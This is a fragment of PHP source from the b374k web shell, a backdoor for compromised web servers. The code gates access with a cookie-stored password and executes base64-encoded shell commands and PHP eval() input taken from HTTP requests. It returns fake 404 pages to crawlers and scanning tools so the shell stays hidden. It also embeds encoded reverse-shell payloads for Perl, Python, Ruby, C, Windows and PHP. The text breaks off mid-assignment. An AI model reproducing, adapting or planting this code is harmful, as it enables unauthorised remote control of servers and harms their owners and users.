>0){ if(isset($_COOKIE['b374k'])){ if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true; } if(isset($_REQUEST['login'])){ $s_login = strtolower(md5(trim($_REQUEST['login']))); if(strtolower(trim($s_pass)) == $s_login){ setcookie("b374k",$s_login,time() + $s_login_time); $s_auth = true; } } if(isset($_REQUEST['x']) && ($_REQUEST['x']=='logout')){ $s_reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):""; foreach($_COOKIE as $s_k=>$s_v){ setcookie($s_k,"",time() - $s_login_time); } $s_auth = false; if(!empty($s_reload)) header("Location: ".$s_reload); } } else $s_auth = true; if(!empty($_REQUEST['s_pass'])){ if(strtolower(trim($s_pass)) == strtolower(trim($_REQUEST['s_pass']))){ if(isset($_REQUEST['cmd'])){ $s_cmd = base64_decode($_REQUEST['cmd']); echo exe($s_cmd); } elseif(isset($_REQUEST['eval'])){ $s_code = base64_decode($_REQUEST['eval']); ob_start(); eval($s_code); $s_res = ob_get_contents(); ob_end_clean(); echo $s_res; } else echo $s_title; } die(); } if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } elseif(!isset($_SERVER['HTTP_USER_AGENT'])){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } $s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A"; $s_rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE="; $s_rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP"; $s_rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU="; $s_rs_win = "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"; $s_rs_php = "7VRNj9s2ED3bv0JRCayEai3LDhBgXW4u7bFA0BboIbsRZIqyCEsiy6FqB9397x2Skj82zm6QBr20MGxTM5w3X0/vh7eqVtPvgtoYBTdpymTJZxspNw2fMdmmKl0v37zeXkPNmyadcq2lzjVXUhvRbaJ5vJoCN7kRLc8b0QrjTHKdi1Y1ggmTV00PdYTGKTGF3nBDiQZ/Wo0moHyvGkwdhUGYDEYMIQxotly+wdOuoF3fNHjihxPUNMRArCX47adffqZ7w3W7evdrRq/uyLvff7y9Wg1utK3StehSqINrEWJsS0PXWeA6C24CJruOM8PLuw79U1FFTPadicYSY0qz+K/phChKxvInBCsI7b9BONGVeH6c8gb4pfDFeTi8n997iIMhux+xCrZ1WLaOqu+YEbLL+V6AgehKsc40eSX19ir2mKKkR6Md9gTjnJleZzHGmSg7sXrLfLAoCWKf4xpBlFF8HuErwJKG/lw6oGA0L9ocJNvi9oHrP7mOQsMUUmg+c5+bcEZUQpAxnXR/GGMTjqEDa2SPM4Jk6Yoh7AlywRhX9sJQKnqNbOQOs0G/xqcI6Zv3XdHyKE7myTLG+sOd6Fyhk2qnheERYQlpZzhhtsMGZ+FtaOEmu1o06FSvKK0K3JkLsQuq7DIwyt1yE9J8k7eFYXUUpqy8C6L3H+7g/vs4FUhX7FLr2EdPSFkiwbVfpY8WkJdCR+iJY1aPR+8mkp7W5YyP9mcgkdGiPe2aKNeh3U8YPDwEn/H/0aM/DtY4y+1qhAswGd/bjjEXsnz2SeaTeUlXoC2lYo0EPo5jfHIbQbcFfjpqd5GUQAuti4/RnN76Q6iE4mES6jBOsqfGHRoXF4weTGmqtGS5VLzD5HWC8Dh5oZwbB/UKp6w5yF4z2yHu48j6U86tG2SWlS4bjG9gMn/+RvbijcWzN9jg9GQzuh9oZt9rLis71ocHf/Lp4vi4NaKLYYZ2rkM5Q1JPoEPOBrUrwvsJKiW+bkViNfJAYNHlRxxdHMgqaIXxpTMzGDg5rnIYEBHxkZZnWGNBlwBH3yeo7AXAxTOAi5cBH885ekLe8ejbOn/OnjwP43WUG83aM/6g714UrVAPolhZ0fIErZ0q8A6/o7Z9vXrBV6kX/GfVCy6p1+f0Cv7Xq7Mb8JJewZfpFXwjvYLLagD/ml7Bt9Yr+BK9+sci9fZ2+jc="; $s_favicon = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAIBAQIBAQICAgICAgICAwUDAwMDAwYEBAMFBwYHBwcGBwcICQsJCAgKCAcHCg0KCgsMDAwMBwkODw0MDgsMDAz/2wBDAQICAgMDAwYDAwYMCAcIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAz/wAARCAAQABADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDe0T9mrwn46/YZ/YvsfDv7Fv8AY/jDxZpVtaL4z/4Q/wAAal/wld5L8PtbaK78i51RTeYuhFqflakIFk+xfOVn8uNuf8eeA/hT8Fv2VP2rfA/jj9lLw/J8VpNK1O00PXLvQPh1o1/YXlj8OtDnvbu1sodWaWLy5mk1aSLSUuFgW+DKTMZI15/4Q/ts3+kfA/8AZ109f2jfsMPwu0rQ7vwlb/8ACz/hxD9ovG+G2ume08qXSmm0b7Nf+Ro/m6u1wrfb9xBmCSLz/wC0B+0BovxF8FfGjWNY+NHh/wAQ+IPEOleJbu/v7vx98Mr2/wDDl5P8MtBjNpalNIF1qX267E2iSS6JJaqV08Ejzd7sAf/Z"; $s_favicode = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAA0klEQVQ4jeXQMUpDURCF4XlBQpBHagkSrLICsRDJClxBmnSSNaRLncpVhGApWYSYHaQScQcGm8CXwnkgl6eFpU435/yHM/dG/I/BLS5/G77AB+5/gnp4xLLFW2OP89yXyfYaoIuNz5kV4evUF1+0WWobdJsGmBfhDp7whrrw5plZn0TEKCIOEbEtrp9ExFVETKuqei+8bWZGgQF2+c5xNpziFc/oFO3jZHcYNOIQL1jlvsgTb1o+dZXssDT6qLN9j4cynFyNfpvXAIE7nH0L/a05Ar2N6tvfpEDCAAAAAElFTkSuQmCC"; $s_checkbox_img = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII="; $s_style = "rVbdjqs2EL6v1HdwFVXqDyBIcrK7oD5CL3tV9cKACdYa2zLD2WTReffaxiYmkLNbqfaNweP5+eabsX8bG8EhbnBH2TX/qxw4DOhPwUXUE0Wb4tuPP5Sivo4lrl7PSgy8znepHQWyJ3v6TvJsLy9FJZhQ+a6xo7Cbb4SeW8iPWloratVYClUTlWfygnrBaI12ezvMNh69hrNdFEAuENekEgoDFTznghMrmLfiK1Hj0qDekIqMEtc15ec8Rc/aJ/2zEaoba9pLhq855YxOSgCXjCBoIzlWg+q1opo0eGBgNncdpnyMO/EeTx7HCtd06PMs1Uo3fr3RGlq9TM0H6rA6U57jAUTh/dEIeY92LcFawWjjw4yeec5IA4U7ls5n0kAatdl4A3xv7Gh4y1cKMSjMexNmrgRgIL/E2SE5PNXk/GthY/iewEdGEY4ScpEaacJoDxP0CK/B33WEDwueZHbMFpCB4OggUKTXWP8XiNfU8TwxKY3biWrZyYjenLCccb5iO27+TBTxcR9vCUpM9JQ3YnSyp0DORGHOWkteGErWI1Cj82JvwtQ4Aa0wcynuaF0zS73kjK8a1ZDCLpKwaJ6mokkMrB1dALt/MbP4TLkwAqCB7CWunPPFXdlupOC4yoD5s2JKiNjkpSvM0NfDyUwrQ7kc4D1KpBKdhCiBC2BF8BZnXLJT70YpAEQXJv/wYuZ9MEtWBimzDkyGxy2UvS9zIf9cuFwenlJ3fPK/HGC8s7oI4MXM+9w87HszGV1h+FoLHQnxTkMhXYaPeuQsAvX4EEPnQ1g/W8wFIYtVW70ZaFeALrg62fDnTwFnZg1qgzfZs5k/0U4KBZjbtpz0pNM31JXO/dyGu93CElPAyLb5EMwlr0/fbSxO8YS7V/48s8GobyMd/9rvzUqeTnycj1l27rKVHXbjKyVvDd2M6aHCoON5mnk1n/FnI7yQLWFjvFdfaRgIh/lWzrKwZ1xLcfl/roAwU4uunh3vDaJ2/zjiox331bsmGLrVARdAmwUF/DGnxT2X1sS754gzc1jQzfmP9qG5GzOc8uAeiqYw9SqkiBaw7etvuEryR9WS6lUL/ZNUfR/7L/Q7YrgkzP60K5+32LxPpkeHv2e/6PXyVRWXTFSvy9v4y6I7xopIgkFXrVuFe1L01LYwDe6Du9M91KSgmlXqUzHldkHqjdi2bcfWZ1+C0VSIbeYXKvrQ5LI5ffsX"; $s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw=="; $s_sortable_js = 